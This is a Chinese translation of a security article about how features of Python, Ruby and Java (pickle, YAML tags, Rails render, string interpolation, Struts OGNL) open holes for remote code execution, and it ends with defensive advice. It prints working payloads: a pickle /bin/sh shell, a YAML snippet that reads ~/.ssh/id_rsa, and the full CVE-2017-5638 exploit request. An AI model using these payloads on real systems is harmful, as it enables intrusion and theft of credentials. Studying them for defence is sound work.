跳转到主要内容
Chinese, Simplified

如果您像许多开发人员一样,则可以使用多种动态语言之一来编写应用程序。但是语言可以以未定义的方式进行交互,或者更糟糕的是,定义但令人惊讶的方式对应用程序安全性有严重影响。了解这些行为是保护您的应用免受恶意用户侵害的关键。

这些常用语言(Ruby,Java和Python)应该用于说明所有编程语言中存在的与安全相关的挑战,以及您可以采取哪些措施来解决这些问题。

 

Python:Don't get in a pickle


由于其简单性和强大的平衡,Python是顶级语言之一。此外,它的多功能性使得生态系统在许多不同的应用程序中蓬勃发展,从简单的工具到复杂的Web应用程序再到数据科学。

Python提供了一种称为“泡菜”的序列化机制。这些非常有用,因为它们很方便,人们已经将它们用于各种各样的事情,包括cookie值和auth令牌。以最终导致安全性受损的方式使用强大的机制也很诱人。

请注意服务器框架中的内容的近似值Twisted用于处理身份验证令牌:


 def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

令牌经过base64解码,解压缩,然后检查。但是,什么是防止恶意用户创建自己的pickle然后base64编码呢?没有。那是咸菜的危险;数据可能来自不受信任的来源。

漏洞利用可以像这样构建:

import cPickle
import subprocess
import base64
class RunBinSh(object):
  def __reduce__(self):
      return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))

这篇文章由Stripe的Nelson Elhage(这些代码片段的来源)在2011年的博客中介绍。 Django,可以说是最受欢迎的Python网页框架,在版本1.6之前的会话中有类似的pickle bug,这是在Twisted上发布博客两年后的事情!

在这些发现之后经常听到的口头禅是“不要使用泡菜!”有些人通过做更多的JSON和YAML做出反应,但是,再一次,你遇到了意想不到的问题。事实证明,YAML有一个很好的功能,许多开发人员都不知道,可以实例化本机对象类型。

请注意关于“其他架构”的官方规范的摘录:

以上推荐的模式都不排除使用任意显式标记。因此,用于特定编程语言的YAML处理器通常提供某种形式的本地标签,其直接映射到语言的本机数据结构(例如,!ruby / object:Set)。

这基本上是一个pickle提供的:语言本地数据结构。

因此,一行如下:

print(yaml.load(exploit)['user_input'])

可以通过包含诸如以下内容的字段值来妥协:

exploit = '''\
name: Boris Chen
user_input: !!python/object/apply:subprocess.check_output
args: [ cat ~/.ssh/id_rsa ]
kwds: {shell:true}
'''

对于寻找传递数据的简单方法的开发人员来说,这是完全出乎意料的,只是为了找出可以包含的可执行代码。如今,人们将使用yaml.safe_load(),但仍然有很多yaml.load()正在进行中。注意安全。始终使用safe_load()。并避免泡菜!

 

Ruby:可以被速度杀死


Ruby怎么样?它作为Web应用程序的语言也非常受欢迎,特别是由于Ruby on Rails。它在DevOps中也很有用,它是配置管理工具Chef的底层语言。

上述YAML问题也存在于Ruby-以及所有符合YAML的解析器中,无论语言如何。但还有更多。

您可能会认为,如果您使用带有Rails应用程序的XML,那么您就可以避免这种YAML愚蠢(并且可能更担心XXE)。但在2013年(CVE-2013-0156),人们意识到Rails允许通过属性type =“yaml”的任何元素在XML中嵌入YAML。

你可以猜到发生了什么:YAML的所有问题最终都是XML的问题。

问题超出了数据格式。 Ruby / Rails因其处理字符串的方式而开辟了其他可能性。从去年开始的一个优雅的漏洞转变为看起来像目录遍历的东西。 CVE-2016-0752影响了Rails 4.2.5.1之前的版本,并允许通过渲染进行文件遍历。能够在主机上抓取任意文件是危险的,但渲染实际上是对文件进行评估。

示例代码如下:

def show
  render params[:template]
end

因此,人们可以利用这种行为,而不仅仅是从机器上获取文件。一个坏的actor可以获得一个可以被评估到该机器上的文件中的可执行文件。最简单的方法是使服务器记录恶意负载。

攻击者可以通过使用包含参数值<%=`ls`%>的GET请求的错误URL请求“污染”日志文件来实现此目的。这将导致记录该表达式。使用此漏洞访问呈现的日志文件将导致能够在系统上运行任意命令 - 在这种情况下命令ls。

完整而优秀的描述在NVisium的博客上。

正如Brett Buerhaus去年发现的那样,Ruby本身也存在类似的风险。在AirBnB的网站上,由于Ruby能够进行字符串插值,他发现了一个漏洞。在Ruby中,字符串插值的工作原理如下:

name = "Ada"
puts "Hello, #{name}!"

因此,评估#{}内的任何内容,包括Ruby的操作系统级别exec指令%x。因此#{%x ['ls']}将在机器上执行ls,并欺骗服务器解释它将导致成功的妥协。

在这种情况下,AirBnB的代码解释了通过JSON传递给它的值。可以在此处找到完整描述,并说明在处理不受信任的数据时,语言的本机便利功能如何产生严重后果。

这些缺陷在高度动态的语言(如Ruby)中非常有害,后者用于快速应用程序开发。但是编译的语言呢?

 

Java:不要让它让你大吃一惊


Java是服务器端Web的古老语言。尽管从安全角度(与Python和Ruby相比)研究得最多,编译为字节码,并且从设计的早期开始就具有安全性,但它也遭受了以惊人的方式破坏应用程序的漏洞。

Equifax是经历历史上最严重的数据泄露之一的新闻。该漏洞已经宣布,是由于Apache Struts CVE-2017-5638中存在漏洞。 (可以说,Equifax的失败不仅仅是因为没有修补的漏洞,而是系统性的安全性失败,但这仍然是讨论的范围。)

问题在于,尽管Java和Apache Struts技术自大多数财富500强公司早期使用以来,简单而强大的功能可能会导致令人惊讶的漏洞。

这个特别的CVE在3月报道,我发现的最佳解释来自Gotham Digital Science(GDS)。在此次攻击中,攻击者发现在提供无效的多部分内容类型标头时,Struts将在创建错误消息的过程中返回错误消息。但是,Struts不只是返回错误消息;它一路上评估它!

该博客追溯了几种方法,但关键是:

MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);Where the author explains: "As it turns out, TextParseUtil's translateVariables method is a data sink for expression language evaluation ... it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}."

然后,获胜的漏洞利用有效载荷如下:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0

就像Ruby和Python的情况一样,Java受到意外评估利用评估机制的用户定义数据的影响。在这种情况下,问题不是Java本身的一部分,而是在OGNL(对象图导航语言)中,这是一个用于实现Apache Struts的包。

从Apache Project网站:OGNL“是一种表达式语言,用于获取和设置Java对象的属性,以及其他附加功能,如列表投影和选择以及lambda表达式。... OGNL最初是一种在UI组件之间建立关联的方法和使用属性名称的控制器。“

这种无害的机制导致了通往灾难的关键一步。

Apache Struts今年报告了另外三个RCE(远程代码执行)漏洞,最近的漏洞与Equifax漏洞同时发布。

Java社区在2015年遭遇了一个主要的序列化错误,几乎影响了每一家财富500强公司,但当年还出现了许多其他漏洞。在一系列序列化漏洞中,我很高兴看到有关Mattias Kaiser利用序列化的这篇内容丰富的演讲。他的演示文稿还包括T3协议中的几个WebLogic漏洞,这是WebLogic独有的专有协议,自从我在BEA Systems工作期间就没有听说过。

由于已知XML具有与XXE相关的风险,并且YAML具有上面列出的已知风险,因此许多组织已将JSON标准化为一种安全的序列化方式。

但是JSON受这些漏洞影响,正如我上面介绍的AirBnB情况。今年,在DEF CON和Black Hat USA上,AlvaroMuñoz和Oleksandr Mirosh发表了一篇题为“星期五13日:JSON攻击”的精彩演讲,内容涉及使用JSON的漏洞,这些漏洞应该会破坏任何一种虚假的安全感。 Java或.NET。

 

你可以做什么


知道是成功的一半。所有语言都有可能导致意外评估不受信任数据的怪癖。这不仅来自语言本身,而且来自应用程序中的框架,以实现更快或更优雅的实现。

典型的应用程序可能有数百个第三方框架。这些提供了强大的功能,但存在可以打开应用程序本身的电源的风险。

鉴于这种情况,请牢记这些最佳做法:

  1. 学习你的语言。 “Wat”谈话不仅具有娱乐性(令人沮丧),而且具有教育意义。
  2. 了解你的框架。在使用框架的优雅表达逻辑中,框架实际上在做什么?
  3. 使用静态代码分析器(如Brakeman for Ruby)来避免常见错误。
  4. 随时了解包裹。使用工具检查哪些软件包存在漏洞,并尽快升级。一旦漏洞被公布,脚本小子就会被锁定并加载 - 扫描尽可能多的网站以查找这些漏洞。
  5. 测试和检查。确保您拥有专业的笔测试人员来评估您的软件是否存在漏洞。
  6. 设计时考虑到安全性。安全不能是事后的想法。系统的实施应该以安全为重点。
  7. 让安全人员的工作,而不仅仅是他们的头衔中有“安全”的人。安全不仅仅是技术方面,而是事物如何完成的文化方面。

大多数人做了很多,如果不是全部,但仍然会发生妥协。为什么?因为分层防守投资不足。

分层你的防御


尽管我们采取了一切措施来阻止它们,但漏洞仍会发生。我们必须接受这一事实并采用深度防御方法,该方法结合了威胁的运行时监控和自动响应,以便在损坏或信息丢失之前阻止攻击。

纵深防御或分层防御只是拥有多个层,因此如果出现问题,您可以采用其他机制来缓解这种攻击。

许多公司依靠测试和扫描工具来确保它们没有漏洞。没有这样的保证是可能的。这些工具只提供预生产完成的单一防线。生产中的防御同样重要。

如果没有运行时防御,攻击者可以自由地利用有价值的数据,造成持久和灾难性的破坏。零日攻击在黑暗网络和国家演员不断购物。最好的方法是假设漏洞迟早会被利用。如果是这样,请确保您具有故障安全机制,以最大限度地减少恶意行为者可以实现的目标。

除了一些值得注意的例子 - 咳嗽,JavaScript,咳嗽语言的设计都考虑到了最不惊讶的原则。它们在不同程度上取得了成功,但还不足以消除遵循上述最佳实践的需要。

代码的强大功能可以帮助您构建有价值的系统,这也带来了羞辱性的危险,随着利用这些系统的激励措施不断增加,这些危险需要越来越多的警惕。

 

原文:https://techbeacon.com/security/how-programming-languages-can-hurt-your-applications-security

本文:

讨论:请加入知识星球或者小红圈【首席架构师圈】

Article
知识星球
 
微信公众号
 
视频号